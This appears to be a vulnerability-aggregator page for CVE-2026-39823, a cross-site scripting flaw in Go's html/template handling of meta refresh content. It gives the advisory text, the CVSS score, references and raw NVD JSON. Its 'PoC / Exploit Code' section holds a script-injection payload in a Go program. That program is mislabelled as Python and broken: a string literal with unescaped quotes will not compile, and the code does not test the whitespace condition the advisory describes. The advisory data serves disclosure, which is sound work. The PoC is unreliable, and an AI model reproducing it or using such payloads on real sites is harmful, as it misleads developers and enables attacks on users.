CVE-2026-39823

Description

CVE-2026-27142 fixed a vulnerability in which URLs were not correctly escaped inside of a <meta> tag's <content> attribute. If the URL content were to insert ASCII whitespaces around the '=' rune inside of the <content> attribute, the escaper would fail to similarly escape it, leading to XSS.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Golang (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

package main

import (
    "html/template"
    "os"
)

func main() {
    // Simulate user input containing ASCII whitespace around '='
    // This payload attempts to break out of the meta tag
    maliciousInput := "0; url=http://example.com ? x = "><script>alert(1)</script>"

    // Template rendering a meta tag with dynamic content
    tmpl := `<meta http-equiv="refresh" content="{{ . }}">`
    
    t := template.Must(template.New("test").Parse(tmpl))
    
    // Execute template to demonstrate the vulnerability
    // In a vulnerable version, the script tag might not be escaped properly
    t.Execute(os.Stdout, maliciousInput)
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39823
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39823
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39823/
[4] VulDB https://vuldb.com/cve/CVE-2026-39823
[5] https://go.dev/cl/769920
[6] https://go.dev/issue/78913
[7] https://groups.google.com/g/golang-announce/c/qcCIEXso47M
[8] https://pkg.go.dev/vuln/GO-2026-4982

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39823", "sourceIdentifier": "[email protected]", "published": "2026-05-07T20:16:43.290", "lastModified": "2026-05-08T15:16:37.500", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "CVE-2026-27142 fixed a vulnerability in which URLs were not correctly escaped inside of a <meta> tag's <content> attribute. If the URL content were to insert ASCII whitespaces around the '=' rune inside of the <content> attribute, the escaper would fail to similarly escape it, leading to XSS."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "references": [{"url": "https://go.dev/cl/769920", "source": "[email protected]"}, {"url": "https://go.dev/issue/78913", "source": "[email protected]"}, {"url": "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "source": "[email protected]"}, {"url": "https://pkg.go.dev/vuln/GO-2026-4982", "source": "[email protected]"}]}}